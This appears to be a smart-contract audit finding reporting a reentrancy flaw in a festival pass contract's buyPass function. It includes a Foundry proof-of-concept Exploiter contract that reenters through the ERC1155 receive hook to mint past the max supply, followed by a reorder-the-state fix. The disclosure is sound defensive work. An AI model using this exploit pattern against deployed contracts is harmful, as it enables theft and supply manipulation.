Root + Impact
Description
-
The buyPass function allows users to purchase festival passes. It validates the pass ID, payment amount, and available supply before minting the pass, incrementing the supply counter.
-
Issue: The function is vulnerable to reentrancy during pass minting because it updates the supply counter (passSupply) after the _mint operation. This allows a malicious contract to reenter buyPass before the supply is incremented, bypassing the max supply check.
function buyPass(uint256 collectionId) external payable {
require(
collectionId == GENERAL_PASS ||
collectionId == VIP_PASS ||
collectionId == BACKSTAGE_PASS,
"Invalid pass ID"
);
require(
msg.value == passPrice[collectionId],
"Incorrect payment amount"
);
require(
passSupply[collectionId] < passMaxSupply[collectionId],
"Max supply reached"
);
_mint(msg.sender, collectionId, 1, "");
++passSupply[collectionId];
uint256 bonus = (collectionId == VIP_PASS)
? 5e18
: (collectionId == BACKSTAGE_PASS)
? 15e18
: 0;
if (bonus > 0) {
BeatToken(beatToken).mint(msg.sender, bonus);
}
emit PassPurchased(msg.sender, collectionId);
}
Risk
Likelihood:
Impact:
Proof of Concept
function test_reentrancyBypassMaxSupply() public {
vm.prank(organizer);
festivalPass.configurePass(PASS_ID, VIP_PRICE, 1);
Exploiter exploiter = new Exploiter{value: 0.3 ether}(
address(festivalPass)
);
assertEq(festivalPass.passSupply(PASS_ID), 0);
assertEq(festivalPass.passMaxSupply(PASS_ID), 1);
exploiter.attack();
assertEq(festivalPass.passSupply(PASS_ID), 3);
assertEq(festivalPass.balanceOf(address(exploiter), PASS_ID), 3);
}
uint256 constant PASS_ID = 2;
contract Exploiter {
FestivalPass public festivalPass;
uint256 public reentrancyCount;
uint256 constant VIP_PRICE = 0.1 ether;
constructor(address _festivalPass) payable {
festivalPass = FestivalPass(_festivalPass);
}
function attack() external {
festivalPass.buyPass{value: VIP_PRICE}(PASS_ID);
}
function onERC1155Received(
address,
address,
uint256 id,
uint256,
bytes calldata
) external returns (bytes4) {
if (id == PASS_ID && reentrancyCount < 2) {
reentrancyCount++;
festivalPass.buyPass{value: VIP_PRICE}(PASS_ID);
}
return this.onERC1155Received.selector;
}
}
Recommended Mitigation
Follow CEI and update state before external calls.
// Mint 1 pass to buyer
- _mint(msg.sender, collectionId, 1, "");
++passSupply[collectionId];
+ _mint(msg.sender, collectionId, 1, "");
// VIP gets 5 BEAT welcome bonus BACKSTAGE gets 15 BEAT welcome bonus